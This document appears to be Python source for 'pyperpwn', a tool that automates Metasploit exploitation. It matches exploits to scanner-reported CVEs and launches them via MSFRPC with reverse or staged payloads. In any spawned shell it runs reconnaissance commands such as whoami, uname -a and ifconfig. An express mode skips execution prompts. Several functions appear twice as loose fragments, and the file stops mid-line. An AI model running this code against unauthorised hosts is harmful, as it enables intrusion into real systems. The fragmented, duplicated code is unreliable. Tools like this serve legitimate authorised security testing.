def __init__(self, host, port, pwd): self.console = ConsoleHandler('MsfHandler') self.msfrpc_client = self.get_msfrpc_client(host=host, port=port, pwd=pwd) if self.msfrpc_client is None: raise ConnectionError('Cannot connect to MSFRPC')
def __init__(self, msf_handler): self.msf_handler = msf_handler self.console = ConsoleHandler("DBHandler") self.exploits = [] self.db_client = MongoClient(db_config.get("host"), db_config.get("port")) self.db = self.db_client.pyperpwn self.expl_coll = self.db.exploits self.cve_coll = self.db.cve self.vuln_coll = self.db.vulns self.expl_class_coll = self.db.classifications self.exec_status_coll = self.db.exec_status self.check_db_connection()
def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results): Thread.__init__(self) self.console = ConsoleHandler('ConnSuperv') if lhost is None or rhost is None or lhost == '' or rhost == '': raise AttributeError('You need to specify a value for rhost and lhost.') self.lhost = lhost self.rhost = rhost self.rport = rport self.lport = lport self.is_reverse_payload = is_reverse_payload self.is_staged_payload = is_staged_payload self.file = open("tcpdump_log.txt", "w") self.results = results
def get_exploit(self, expl_path): try: expl = self.msfrpc_client.modules.use('exploit', expl_path) return expl except (UnicodeDecodeError, requests.exceptions.ConnectionError): ConsoleHandler("ExploitParser").error( "\t error decoding exploit module") return None
class SuccessEvaluator: def __init__(self): self.console = ConsoleHandler('SuccessEval') def merge_findings(self, findings): self.console.debug("all findings: {}".format(findings)) complete_finding = {} for finding in findings: for key in finding.keys(): try: if finding[key].value > complete_finding[key].value: complete_finding[key] = finding[key] except (KeyError, AttributeError) as err: complete_finding[key] = finding[key] self.console.debug("merged findings: {}".format(complete_finding)) return complete_finding def has_done_damage(self, finding): self.console.debug(finding) vals = [finding[key] for key in finding.keys()] for val in vals: if val.value > ServiceStatus.UP_ACCESSIBLE.value: return True return False def was_expl_successful(self, intention, details): has_done_damage = self.has_done_damage(details.impact) expl_executed_on_target = len(details.execution_detection_method) > 0 self.console.debug( "Evaluating success of exploit: session? {}, has done damage? {}". format(details.got_session, has_done_damage)) if intention == ExploitClass.INTRUSIVE_DESTRUCTIVE: if has_done_damage or expl_executed_on_target: return True if intention == ExploitClass.INTRUSIVE: if not has_done_damage and expl_executed_on_target: return True if intention == ExploitClass.NOT_INTRUSIVE: if expl_executed_on_target and not has_done_damage: return True return False
class ExplClassificationReader: def __init__(self, db_handler): self.console = ConsoleHandler("ExplClassR.") self.db = db_handler def write_to_db(self, path): self.console.info("Start reading csv file: {}".format(path)) try: with open(path) as csv_file: csv_reader = csv.DictReader(csv_file, delimiter=",") line_count = 0 for row in csv_reader: expl_class = ExploitClassification(row['Exploit'], row['Classification']) self.db.add_expl_class(expl_class) line_count += 1 self.console.info( "Written {} entries from Exploit Classification file to DB." .format(line_count - 1)) except (TypeError, FileNotFoundError): self.console.error( "Cannot open export classification file at {}.".format(path))
def read_output(console_data): console = ConsoleHandler('MsfHandler') console.debug("Main console received output: {}".format(console_data))
def __init__(self): self.console = ConsoleHandler("SuccessCheck")
class CVEDetailParser: def __init__(self, db_handler): self.console = ConsoleHandler("CVEDetParser") self.db = db_handler def get_cve_details(self, cves): if cves == "NOCVE": return None cves = CVEDetailParser.parse_cves(self.console, cves) vuln_types = [] for cve in cves: cve_from_db = self.db.get_cve(cve) if cve_from_db is None: html = self.retrieve_cve_details(cve) vuln_type = self.parse_cve_type(html) if vuln_type is not None: self.console.debug( "\t successfully extracted vulnerability type for {}: {}" .format(cve, vuln_type)) vuln_types.append(vuln_type) self.db.add_cve_details({'cve': cve, 'type': vuln_type}) else: self.console.error( "\t Unable to extract Vulnerability type for {}". format(cve)) else: vuln_types.append(cve_from_db['type']) self.console.debug("received CVE type from DB: {} {}".format( cve_from_db['cve'], cve_from_db['type'])) if len(vuln_types) == 0: return None vuln_type = list(set(vuln_types)) self.console.debug("\t extracted vuln type: {}".format(vuln_type)) return vuln_type def retrieve_cve_details(self, cve): path = cve_details_config.get("url") + cve try: r = requests.get(path, timeout=20) if r.status_code != requests.codes.ok: self.console.error("\t unable to retrieve CVE details.") return r.text except requests.exceptions.ConnectionError: self.console.error( "Cannot retrieve CVE details. Please check your internet connection." ) return "" def parse_cve_type(self, html): match = re.search(CVE_TYPE_PARSER_PATTERN, html) if match is None: return None return match.group(CVE_TYPE_GROUP_ID_IN_PATTERN) # parses single CVE-ID from a string with several CVE-IDs separated by a comma @staticmethod def parse_cves(console, cve): parsed_cves = [] cves = cve.split(",") for i, _ in enumerate(cves): cves[i] = cves[i].strip() for cve in cves: match = re.match(CVE_PATTERN, cve) if match is not None: parsed_cves.append(cve) remove_count = len(cves) - len(parsed_cves) if remove_count > 0: console.debug( "removed {} CVE entries because of a non-matching format". format(remove_count)) return parsed_cves # parse a list of BIDs @staticmethod def parse_bids(bid_str): parsed_bids = [] bids = bid_str.split(",") for bid in bids: bid = bid.strip() parsed_bids.append(bid) return parsed_bids
class SessionHandler: def __init__(self, msf_handler): self.console = ConsoleHandler('Sess.Handler') self.msf_handler = msf_handler # checks if a session has spawned by executing the given exploits. # return it's ID if possible, -1 otherwise def session_check(self, exploit_path, rport): exploit_path = "exploit/{}".format(exploit_path) self.console.info("Start Session checker for {}".format(exploit_path)) sessions = self.msf_handler.get_all_sessions() if len(sessions) > 0: self.console.debug("\t session(s) discovered: {}".format(sessions)) for session_id in sessions: if sessions[session_id][ 'via_exploit'] == exploit_path and sessions[ session_id]['session_port'] == rport: self.console.info( "\t Got session {} via exploit {}".format( session_id, exploit_path)) return int(session_id) self.console.warn("\t apparently no session spawned successfully.") return NO_SESSION_FOUND # gather useful information for a given remote session, based on the type of session and close session afterwards def gather_info(self, session_id, os): os = OS.from_string(os) session_id = str(session_id) session_obj = self.msf_handler.get_session_obj(session_id=session_id) shell_info = { 'info': self.msf_handler.get_session_dict(session_id).get('info') } if self.msf_handler.get_session_dict( session_id=session_id).get('type') == 'meterpreter': self.console.debug('\t discovered a meterpreter shell') shell_info = self.run_default_meterpreter_cmds( session=session_obj, os=os, shell_info=shell_info) else: self.console.debug('\t discovered a normal session') shell_info = self.run_default_shell_cmds(shell=session_obj, os=os, shell_info=shell_info) self.exit_shell(shell=session_obj) self.close_single_session(session_id) self.console.debug("shell info: {}".format(shell_info)) return shell_info # run special commands if a meterpreter session is present def run_default_meterpreter_cmds(self, session, os, shell_info): shell_info['meterpreter: getuid'] = self.run_single_shell_cmd( session, 'getuid') shell_info['meterpreter: route'] = self.run_single_shell_cmd( session, 'route') self.downgrade_meterpreter(session) shell_info = self.run_default_shell_cmds(session, os, shell_info=shell_info) self.exit_shell(session) return shell_info def run_default_shell_cmds(self, shell, os, shell_info): shell_info['whoami'] = self.run_single_shell_cmd(shell, 'whoami') if os == OS.LINUX: shell_info['uname -a'] = self.run_single_shell_cmd( shell, 'uname -a') shell_info['ifconfig'] = self.run_single_shell_cmd( shell, 'ifconfig') if os == OS.WINDOWS: shell_info['ipconfig'] = self.run_single_shell_cmd( shell, 'ipconfig') return shell_info def run_single_shell_cmd(self, shell, cmd): shell.write(cmd) try: time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE) shell_response = shell.read().strip() if shell_response != '': self.console.info( "Received shell response to command '{}'.".format(cmd)) self.console.debug("\t {}".format(shell_response)) return shell_response else: self.console.info( "Received empty shell response to command '{}'.".format( cmd)) return None except KeyError: self.console.error( "Unable to read data from console for command '{}'.".format( cmd)) return None @staticmethod def only_empty_replies(shell_info): for cmd in shell_info: if shell_info.get(cmd) is not None: return False return True def exit_shell(self, shell): shell.write('exit') def downgrade_meterpreter(self, meterpreter_session): meterpreter_session.write('shell') time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE) meterpreter_session.read() # close a single session so that pyperpwn does not get confused while future executions of this exploit def close_single_session(self, session_id): self.exit_shell( self.msf_handler.get_session_obj(session_id=str(session_id))) self.console.info( "Automatically closed session with id {}".format(session_id)) # close all open remote sessions def close_all_sessions(self): sessions = self.msf_handler.get_all_sessions() for session_id in sessions: self.exit_shell( self.msf_handler.get_session_obj(session_id=session_id)) self.console.info("Automatically closed {} sessions.".format( len(sessions)))
def __init__(self): self.console = ConsoleHandler("VulnReader")
from core.SuccessEvaluator import SuccessEvaluator from db.DBHandler import DBHandler from entities.ExecStatus import ExecStatus from entities.ExplExecDetails import ExplExecDetails, ExplExecutionStatus from entities.Exploit import Exploit, ExplExecDetectionMethod from entities.Vulnerability import Vulnerability, VulnType from inout.CSVWriter import CSVWriter from inout.CVEDetailParser import CVEDetailParser from inout.ConsoleHandler import ConsoleHandler from inout.ExplClassificationReader import ExplClassificationReader from inout.VulnReportReader import VulnReportReader from inout.Wizard import Wizard from msf.MsfHandler import MsfHandler from msf.SessionHandler import SessionHandler, NO_SESSION_FOUND console = ConsoleHandler("pyperpwn") db = None session_handler = None exec_state = None def main(args): global db global exec_state global session_handler msf_handler = get_msf_handler() db = get_db_handler(msf_handler=msf_handler) exec_state = db.take_matching_exec_status(args.get('rhost'))
def __init__(self): self.console = ConsoleHandler('SuccessEval')
class ExploitMatcher: def __init__(self, db_handler): self.console = ConsoleHandler("ExplMatcher") self.db_handler = db_handler def find_exploits_for_vuln(self, vuln, os, os_multi, rank): matching_expl = self.get_all_exploits_for_name(vuln.name, os, os_multi) + \ self.find_exploits_by_cve(vuln.cve) + \ self.find_exploits_by_bid(vuln.bid) if len(matching_expl) > 0: matching_expl = self.remove_duplicates(matching_expl) matching_expl = self.filter_by_os(os, os_multi, matching_expl) self.console.info("Filtered exploits by OS '{}': {} left.".format(os, len(matching_expl))) matching_expl = self.filter_by_rank(rank, matching_expl) self.console.info("Filtered exploits by Rank '{}': {} left.".format(rank, len(matching_expl))) matching_expl = self.sort_exploits(matching_expl) return matching_expl def find_exploits_by_cve(self, cve): cves = CVEDetailParser.parse_cves(self.console, cve) cve_expl = [] self.console.info("Searching by CVEs {}".format(cves)) if len(cves) > 0: for cve in cves: expl_list = self.get_all_exploits_for_cve(cve) if expl_list is not None: cve_expl.append(expl_list) if len(cve_expl) == 0: self.console.warn("\t None found.") return cve_expl def find_exploits_by_bid(self, bid_str): bids = CVEDetailParser.parse_bids(bid_str) bid_expl = [] self.console.info("Searching by BIDs {}".format(bids)) if len(bids) > 0: for bid_str in bids: expl = self.get_all_exploits_for_bid(bid_str) if expl is not None: bid_expl.append(expl) if len(bid_expl) == 0: self.console.warn("\t None found.") return bid_expl # actually perform search for exploits by CVE def get_all_exploits_for_cve(self, cve): expl_list = self.db_handler.search_by_cve(cve) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) return expl_list return None # actually perform search for exploits by BID def get_all_exploits_for_bid(self, bid): if bid == '': return None expl_list = self.db_handler.search_by_bid(bid) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) return expl_list return None # actually perform search for exploits by vulnerability name def get_all_exploits_for_name(self, name, os, multi): search_name = Exploit.improve_name(name) self.console.info("Searching by keywords '{}'".format(search_name)) expl_list = self.db_handler.search_by_name(search_name) expl_list = list(filter(lambda expl: expl.score >= exploit_search_config.get('min_score'), expl_list)) expl_list.sort(key=lambda x: float(x.score), reverse=True) if len(expl_list) > exploit_search_config.get('max_count_by_name'): self.console.debug("found too many exploits, only use the {} with the highest score.".format( exploit_search_config.get('max_count_by_name'))) expl_list = self.filter_by_os(os=os, multi=multi, expl_list=expl_list) expl_list = expl_list[:exploit_search_config.get('max_count_by_name')] for expl in expl_list: self.console.debug( "\t \t score: {}, path: '{}', title: '{}'".format(expl.score, expl.path, expl.search_name)) if len(expl_list) > 0: self.console.info("\t Found {} exploit(s).".format(len(expl_list))) else: self.console.warn("\t None found.") return expl_list # extrahiere Versionsnummer aus String, findet Nummern mit bis zu dreistufiger Hierarchie @staticmethod def get_version_number(str): pattern = "(\d)+.(\d)(.(\d)+)?" match = re.search(pattern, str) if match is None: return None return match.group(0) # removes all duplicates from a nested list of exploit objects def remove_duplicates(self, expl_lists): if expl_lists is None: return None expl_list = Exploit.flatten_expl_lists(expl_lists) filtered_expl_list = [] for expl in expl_list: unique = True for filtered_expl in filtered_expl_list: if expl.path == filtered_expl.path: unique = False if unique: filtered_expl_list.append(expl) self.console.info("Removed {} duplicate exploits.".format(len(expl_list) - len(filtered_expl_list))) return filtered_expl_list # filter the given list of exploits by operating system def filter_by_os(self, os, multi, expl_list): if os == 'all': return expl_list if os == 'linux': if multi: return list( filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix' or expl.os == 'multi'), expl_list)) return list(filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix'), expl_list)) elif os == 'windows': if multi: return list(filter(lambda expl: (expl.os == 'windows' or expl.os == 'multi'), expl_list)) return list(filter(lambda expl: expl.os == 'windows', expl_list)) else: return [] # filter the given list of exploits by a minimum reliability ranking def filter_by_rank(self, rank, expl_list): return list(filter(lambda expl: self.compare_rankings(expl.rank, rank), expl_list)) # compare a given rank of a exploit to the demanded minimum rank def compare_rankings(self, rank, min_rank): return Rank.value_from_str(rank) >= Rank.value_from_str(min_rank) # sort exploits by the msf module rank attribute def sort_exploits(self, expls): if len(expls) == 0: return [] expls.sort(key=lambda x: Rank.value_from_str(x.rank), reverse=True) self.console.info("Sorted exploits.") return expls
def __init__(self, db_handler): self.console = ConsoleHandler("ExplMatcher") self.db_handler = db_handler
class MsfHandler: def __init__(self, host, port, pwd): self.console = ConsoleHandler('MsfHandler') self.msfrpc_client = self.get_msfrpc_client(host=host, port=port, pwd=pwd) if self.msfrpc_client is None: raise ConnectionError('Cannot connect to MSFRPC') # start the client and return it def get_msfrpc_client(self, host, port, pwd): self.console.info("Connecting to MSFRPC server...") msf_client = None try: msf_client = MsfRpcClient(password=pwd, port=port, server=host, ssl=False) self.console.info( "\t Successfully connected to MSFRPC at {}:{}".format( host, port)) msf_console = MsfRpcConsole(msf_client, cb=MsfHandler.read_output) except (ConnectionRefusedError, NewConnectionError, MaxRetryError, requests.exceptions.ConnectionError) as e: self.console.error( "\t Connection to MSFRPC at {}:{} couldn't be established: {}!" .format(host, port, type(e).__name__)) except MsfAuthError: self.console.error("MSFRPC Authentication error.") except MsfRpcError: self.console.error("\t Error while logging in to MSFRPC!") return msf_client @staticmethod def read_output(console_data): console = ConsoleHandler('MsfHandler') console.debug("Main console received output: {}".format(console_data)) def get_all_exploits(self): return self.msfrpc_client.modules.exploits # get reference to metasploit exploit object def get_exploit(self, expl_path): try: expl = self.msfrpc_client.modules.use('exploit', expl_path) return expl except (UnicodeDecodeError, requests.exceptions.ConnectionError): ConsoleHandler("ExploitParser").error( "\t error decoding exploit module") return None def get_payload(self, payload_path): return self.msfrpc_client.modules.use('payload', payload_path) def execute_exploit_with_output(self, cid, exploit, payload): return self.msfrpc_client.consoles.console(cid).run_module_with_output( exploit, payload=payload) def get_new_console_with_id(self): return self.msfrpc_client.consoles.console().cid def get_all_sessions(self): return self.msfrpc_client.sessions.list def get_session_dict(self, session_id): return self.get_all_sessions()[session_id] def get_session_obj(self, session_id): return self.msfrpc_client.sessions.session(session_id)
class ExploitExecutor: def __init__(self, msf_handler, wizard): self.console = ConsoleHandler('ExploitExec') self.msf_handler = msf_handler self.wizard = wizard # checks if non-common params are existent and returns a dict of new values in case they should be changed def check_exploit_params(self, expl): non_common = expl.get_non_common_params() self.console.debug("\t all required params {}".format(expl.req_params)) self.console.debug("\t non-common params {}".format(non_common)) params = {} if len(non_common) > 0: check = self.console.prompt( "Exploit has {} non-common params. Do you want to change them? [y/n]" .format(len(non_common))) current_expl = self.msf_handler.get_exploit(expl.path) if check == 'y': for param in non_common: current_val = current_expl[param] new_val = self.wizard.read_param_value_from_console( param, current_val) if new_val is not None: params[param] = new_val else: self.console.debug("apparently no change is demanded") return params # execute an exploit with the given parameters def execute_exploit(self, expl, params, additional_params, express=False, execall=False): execute = False if not ExploitExecutor.is_private_address(params.get('rhost')): if self.wizard.exec_expl_against_public_addr(params.get('rhost')): execute = True elif express or execall: execute = True elif self.wizard.exec_expl(expl_path=expl.path, rhost=params.get('rhost')): execute = True if execute: exploit = self.get_prepared_exploit(expl.path, params, additional_params) payload = self.get_prepared_payload(exploit, params.get('lhost'), params.get('lport'), express=express) is_reverse_payload = PayloadUtils.is_reverse_payload( payload=payload) is_staged_payload = PayloadUtils.is_staged_payload(payload=payload) result = [] conn_supervisor = ConnectionSupervisor( lhost=params.get('lhost'), rhost=params.get('rhost'), is_reverse_payload=is_reverse_payload, is_staged_payload=is_staged_payload, results=result, rport=params.get('rport'), lport=params.get('lport')) conn_supervisor.start() self.console.info("Set payload '{}'".format(payload.modulename)) cid = self.msf_handler.get_new_console_with_id() self.console.info( "Exploit is being executed using msf console {}. This might take a while." .format(cid)) output = self.msf_handler.execute_exploit_with_output( cid=cid, exploit=exploit, payload=payload) self.console.info("Received exploit output") self.console.debug(output) conn_supervisor.join() self.console.debug( "ConnectionInspector detection methods: {}".format(result)) if output is None: self.console.error("Unable to execute exploit!") else: self.console.info("Exploit has been run without errors.") return {'output': output, 'detection_method': result} else: return {'output': None, 'detection_method': None} return None # get exploit object defined by 'path' with all delivered params set def get_prepared_exploit(self, path, params, additional_params): exploit = self.msf_handler.get_exploit(path) try: self.set_module_param('exploit', exploit, 'RHOST', params['rhost']) except KeyError: self.set_module_param_safely('exploit', exploit, 'RHOSTS', params['rhost']) self.set_module_param_safely('exploit', exploit, 'RPORT', params['rport']) self.set_module_param_safely('exploit', exploit, 'VERBOSE', True) for key in additional_params.keys(): self.set_module_param_safely('exploit', exploit, key, additional_params.get(key)) if len(exploit.missing_required) > 0: self.console.warn( "Exploit might fail because of missing parameter values: {}". format(exploit.missing_required)) return exploit # get the payload object to be used for execution def get_prepared_payload(self, expl, lhost, lport, express=False): payload_name = None if not express: payload_name = self.wizard.get_payload(payload_paths=expl.payloads) if payload_name is None: payload_name = PayloadUtils.get_prioritized_payload(expl.payloads) self.console.info("\t Selected payload: {}".format(payload_name)) payload = self.msf_handler.get_payload(payload_path=payload_name) self.console.debug("Payload requires those params: {}".format( payload.required)) if 'LPORT' in payload.required: self.set_module_param_safely('payload', payload, 'LPORT', lport) if 'LHOST' in payload.required: self.set_module_param_safely('payload', payload, 'LHOST', lhost) return payload # set a single param value for the given module, don't catch errors def set_module_param(self, module_type, module_obj, param_name, param_val): module_obj[param_name] = param_val self.console.debug("\t setting {} param {} to {}".format( module_type, param_name, param_val)) # set a single param and catch errors def set_module_param_safely(self, module_type, module_obj, param_name, param_val): try: self.set_module_param(module_type, module_obj, param_name, param_val) except KeyError as e: self.console.warn("Failed to set module param: ".format(e)) # checks if the given IP address is private, returns true if yes @staticmethod def is_private_address(ip): ip_parts = ip.split('.') for i, _ in enumerate(ip_parts): ip_parts[i] = int(ip_parts[i]) if ip_parts[0] == 10: return True if ip_parts[0] == 172 and 16 <= ip_parts[1] <= 31: return True if ip_parts[0] == 192 and ip_parts[1] == 168: return True return False
class Wizard: def __init__(self): self.print_greeting() self.console = ConsoleHandler("Wizard") def get_options(self): try: args = self.parse_args() args['vuln_source'] = self.check_delivered_value( args['vuln_source'], "Vulnerability Scanner Report Path", (lambda x: True)) args['expl_class'] = self.check_delivered_value( args['expl_class'], "Exploit Classification File Path", (lambda x: True)) args['rhost'] = self.check_delivered_value( args.get('rhost'), "Remote Host IP Address", self.check_is_ip_addr) args['lhost'] = self.check_delivered_value( args.get('lhost'), "Local Host IP Address", self.check_is_ip_addr) args['expl_rank'] = self.check_delivered_value( args.get('expl_rank'), "Exploit minimum rank", (lambda x: Rank.is_valid(x))) args['expl_os'] = self.check_delivered_value( args.get('expl_os'), "Rhost operating system", (lambda x: OS.is_valid(x))) args['xspeed'] = self.check_delivered_value( int(args.get('xspeed')), "Execution speed", (lambda x: x in [1, 2, 3])) args['xspeed'] = Speed(args['xspeed']) args['espeed'] = self.check_delivered_value( int(args.get('espeed')), "Evaluation speed", (lambda x: x in [1, 2, 3])) args['espeed'] = Speed(args['espeed']) args['lport'] = int(args['lport']) self.console.debug(args) if args.get('express'): self.console.warn( "EXPRESS MODE IS ENABLED. Only as few prompts as necessary will appear. Please note that using the default values might lead to worse results." ) return args except ValueError: raise ValueError @staticmethod def parse_args(): parser = ArgumentParser( description= "pyperpwn - Tool to verify the success of Metasploit's exploits", epilog='With great power comes great responsibility. Use with care.' ) parser.add_argument("-p", "--password", dest="msfrpc_pwd", help="Connect to MSFRPCD using this password", metavar="pwd", required=True) parser.add_argument("-a", "--msfhost", dest="msfrpc_host", help="Connect to MSFRPCD at this IP address", metavar="ip", default=msf_default_config.get("host")) parser.add_argument("-P", "--port", dest="msfrpc_port", help="Connect to MSFRPCD at the specified port", metavar="port", default=msf_default_config.get("port")) parser.add_argument( "-o", "--os", dest="expl_os", help= "Use only exploits developed for this OS. Currently supports 'linux' and 'windows' and 'all'.", metavar="name") parser.add_argument('--no-multi', dest='expl_os_multi', action='store_false', help="Do not use universal exploits") parser.set_defaults(expl_os_multi=True) parser.add_argument("-r", "--rank", dest="expl_rank", help="Use only exploits with this minimum rank", metavar="min-rank", default="manual") parser.add_argument("-v", "--vulns", dest="vuln_source", help="Read this report of a vulnerability scanner", metavar="path") parser.add_argument( "-c", "--class", dest="expl_class", help="Read this file containing an exploit classification", metavar="path") parser.add_argument("-x", "--export", dest="report_path", help="Save the output report at this location", metavar="path", default="hyper_pyper_report.csv") parser.add_argument("-t", "--target", dest="rhost", help="IP address of the remote host to be tested", metavar="ip") parser.add_argument( "-l", "--lhost", dest="lhost", help="IP address of the local host running this script", metavar="ip") parser.add_argument("-w", "--lport", dest="lport", help="Port number to be used for Session Handlers", metavar="port", default="5678") parser.add_argument( '-e', dest='exec_expl', action='store_true', help="Only actually execute exploits if this flag is set.") parser.add_argument( "-xs", "--execspeed", dest="xspeed", help= "The speed level to be used for exploit execution. Can be either 1, 2 or 3. (the higher, the faster)", metavar="1|2|3", default="3") parser.add_argument( "-es", "--evalspeed", dest="espeed", help= "The speed level to be used for success evaluation. Can be either 1, 2 or 3. (the higher, the faster)", metavar="1|2|3", default="3") parser.add_argument( "-XX", "--express", dest="express", action='store_true', help= "Execute the tool using default values and without any prompts.") parser.add_argument( "-XA", "--execall", dest="execall", action='store_true', help="Don't ask whether exploits should be executed.", ) parser.set_defaults(exec_expl=False) parser.set_defaults(express=False) parser.set_defaults(execall=False) args = vars(parser.parse_args()) return args # check if the provided param value is valid, judging by the given validation function def check_delivered_value(self, val, name, validation_fun): if val is None: val = self.read_option_value(name) if validation_fun(val): self.console.debug("setting '{}' to '{}'".format(name, val)) return val self.console.error("\t no valid value provided for '{}'".format(name)) raise ValueError def read_option_value(self, option_name): param_value = self.console.prompt( "Required option [{}] not specified. Enter a value".format( option_name)) if len(param_value) == 0: self.console.error("Cannot work without this parameter...") return param_value @staticmethod def check_is_ip_addr(ip): parts = ip.split('.') if len(parts) == 4: for part in parts: if int(part) < 0 or int(part) > 255: return False return True return False # return the path of the manually selected payload, or None for default payload def get_payload(self, payload_paths): change_payload = self.console.prompt( "Do you want to change the default payload ({} alternatives available)? [y/n]" .format(len(payload_paths) - 1)) if change_payload == 'y': self.console.info("\t Available payloads:") for i in range(len(payload_paths)): self.console.info("\t ({})\t{}".format(i, payload_paths[i])) try: new_payload = int( self.console.prompt( "Enter the number of the payload to use instead (blank for default)" )) except ValueError: self.console.debug( "No number provided. Default payload will be used.") return None if new_payload in range(len(payload_paths)): return payload_paths[new_payload] self.console.warn( "Invalid value provided. Default payload will be used.") return None # prompt the user for a new value for a given module param def read_param_value_from_console(self, param_name, current_value): param_value = self.console.prompt( "\t [{}], current value: '{}'. Enter a new value (leave blank for default)" .format(param_name, str(current_value))) if len(param_value) > 0: self.console.debug("\t setting param {} = {}".format( param_name, param_value)) return param_value return None def continue_last_exec(self, ip, exec_state): if exec_state is None: self.console.debug( 'No matching previous unfinished execution found.') return False self.console.info( "Found an unfinished execution against {}, started at {}".format( ip, time.strftime('%Y-%m-%d %H:%M %Z', time.localtime(exec_state.start_time)))) continue_exec = self.console.prompt( 'Do you want to continue? "n" discards the data. [y/n]') == 'y' if continue_exec is True: self.console.debug( 'Continue previously unfinished execution {}'.format( exec_state)) return continue_exec def generate_report_now(self): return self.console.prompt( "Save this execution for later [c]ontinuation, [g]enerate a report now or e[x]it at any cost?" ) def exec_expl_against_public_addr(self, rhost): return self.console.prompt( "Detected public IP address. Do you want to execute the exploit against {}? [y/n]" .format(rhost)) == 'y' def exec_expl(self, expl_path, rhost): return self.console.prompt( "Do you want to execute exploit '{}' against {}? [y/n]".format( expl_path, rhost)) == 'y' def print_expl_exec_info(self, expl_path, is_repetition): if not is_repetition: self.console.empty(1) self.console.caption( "Exploit '{}' will now be executed".format(expl_path)) else: self.console.empty(1) self.console.warn( "Exploit '{}' will be re-executed since it hasn't been successful." .format(expl_path)) def print_greeting(self): print( "\n====================================================================================\n" ) print( " $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\ $$\ $$$$$$$\ \n" + "$$ __$$\ $$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ | $$ |$$ __$$\ \n" "$$ / $$ |$$ | $$ |$$ / $$ |$$$$$$$$ |$$ | \__|$$ / $$ |$$ | $$ | $$ |$$ | $$ |\n" "$$ | $$ |$$ | $$ |$$ | $$ |$$ ____|$$ | $$ | $$ |$$ | $$ | $$ |$$ | $$ |\n" "$$$$$$$ |\$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$$$$$$ |\$$$$$\$$$$ |$$ | $$ |\n" "$$ ____/ \____$$ |$$ ____/ \_______|\__| $$ ____/ \_____\____/ \__| \__|\n" "$$ | $$\ $$ |$$ | $$ | \n" "$$ | \$$$$$$ |$$ | $$ | \n" "\__| \______/ \__| \__| \n" ) print( "====================================================================================\n" ) print( "Welcome to pyperpwn!\nPlease restart the MSFRPC daemon everytime you restart this application.\n" ) print( "====================================================================================\n" ) def print_vuln_caption(self, vuln_name, cve, cvss): self.console.empty(2) self.console.caption( "NOW TREATING VULNERABILITY: '{}' (CVSS: {})".format( vuln_name, cvss)) self.console.empty(1)
class VulnReportReader: def __init__(self): self.console = ConsoleHandler("VulnReader") # read the vuln report from a CSV file and return a list of Vulnerability objects def read_csv(self, path): self.console.info("Start reading csv file: {}".format(path)) entries = [] try: with open(path) as csv_file: csv_reader = csv.DictReader(csv_file, delimiter=",") line_count = 0 for row in csv_reader: port = -1 cvss = -1.0 try: try: port = int(row['Port']) except ValueError: self.console.warn( "\t Cannot convert 'Port' value from vuln report at line {}" .format(line_count)) try: cvss = float(row['CVSS']) except ValueError: self.console.warn( "\t cannot convert 'CVSS' value from vuln report at line {}" .format(line_count)) vuln = Vulnerability( row['IP'], port=port, cvss=cvss, protocol=row['Protocol'], cve=row['CVEs'], bid=row['BIDs'], name=row['Name'], detection=row['Detection Method'], solution_type=row['Solution Type']) entries.append(vuln) line_count += 1 except KeyError as e: self.console.error( "\t Cannot read column from report file: {}". format(e)) raise KeyError self.console.info( "Read {} entries from Vulnerability Scanner Output".format( line_count)) return entries except (TypeError, FileNotFoundError): self.console.error("Cannot read report file. Aborting...") raise FileNotFoundError
def __init__(self, db_handler): self.console = ConsoleHandler("ExplClassR.") self.db = db_handler
def __init__(self): self.print_greeting() self.console = ConsoleHandler("Wizard")
def __init__(self, msf_handler, wizard): self.console = ConsoleHandler('ExploitExec') self.msf_handler = msf_handler self.wizard = wizard
class DBHandler: def __init__(self, msf_handler): self.msf_handler = msf_handler self.console = ConsoleHandler("DBHandler") self.exploits = [] self.db_client = MongoClient(db_config.get("host"), db_config.get("port")) self.db = self.db_client.pyperpwn self.expl_coll = self.db.exploits self.cve_coll = self.db.cve self.vuln_coll = self.db.vulns self.expl_class_coll = self.db.classifications self.exec_status_coll = self.db.exec_status self.check_db_connection() def check_db_connection(self): self.console.info("Checking connection to MongoDB...") try: self.db_client.server_info() except ServerSelectionTimeoutError: self.console.error( "Unable to connect to MongoDB! Please check if it is running and reachable on {}:{}. Aborting..." .format(db_config.get("host"), db_config.get("port"))) raise ConnectionError('cannot connect to MongoDB.') # remove all cached data that is not necessary for a clean start def clear_db_on_start(self): self.console.debug("Remove cached data from DB...") self.db.vulns.remove({}) self.db.exec_status_coll.remove({}) # remove all data that has been cached in the DB def remove_cached_data(self): self.expl_class_coll.remove({}) # checks if a refill of the exploit collection is necessary and if yes, performs it def build_expl_coll(self): self.console.info("Checking state of Exploit Cache...") if self.check_db(): self.console.info("\t No need to fill cache again. Proceeding...") return self.console.info("\t Remove orphaned exploits...") self.expl_coll.delete_many({}) self.console.info("\t Start caching exploits...") fail_count = 0 i = 0 for expl_name in self.msf_handler.get_all_exploits(): expl = self.get_exploit_obj_by_name(expl_name) if expl is None: fail_count += 1 else: self.expl_coll.insert_one(expl) i += 1 self.expl_coll.create_index([('search_name', pymongo.TEXT)], name='search_index', default_language='english') self.console.info( "Successfully built cache with {} entries. Faced {} errors".format( i - fail_count, fail_count)) # creates an exploit object from the MSF data related to the given exploit path def get_exploit_obj_by_name(self, expl_path): expl = self.msf_handler.get_exploit(expl_path) cve = DBHandler.get_module_attribute('CVE', expl.references) bid = DBHandler.get_module_attribute('BID', expl.references) full_name = expl._info['name'] search_name = Exploit.improve_name(full_name) rank = expl._info['rank'] os = DBHandler.get_os_from_expl_name(expl_path) expl_obj = Exploit(path=expl_path, full_name=full_name, search_name=search_name, os=os, rank=rank, cve=cve, bid=bid, all_params=expl.options, req_params=expl.required, score=0.0) expl_dict = expl_obj.to_dict() return expl_dict # check if the DB contains almost the same amount of exploits as MSF def check_db(self): db_count = self.expl_coll.count_documents({}) msf_count = len(self.msf_handler.get_all_exploits()) self.console.info( "\t Found {} exploits in DB, while MSF currently offers {} in total" .format(db_count, msf_count)) if db_count + 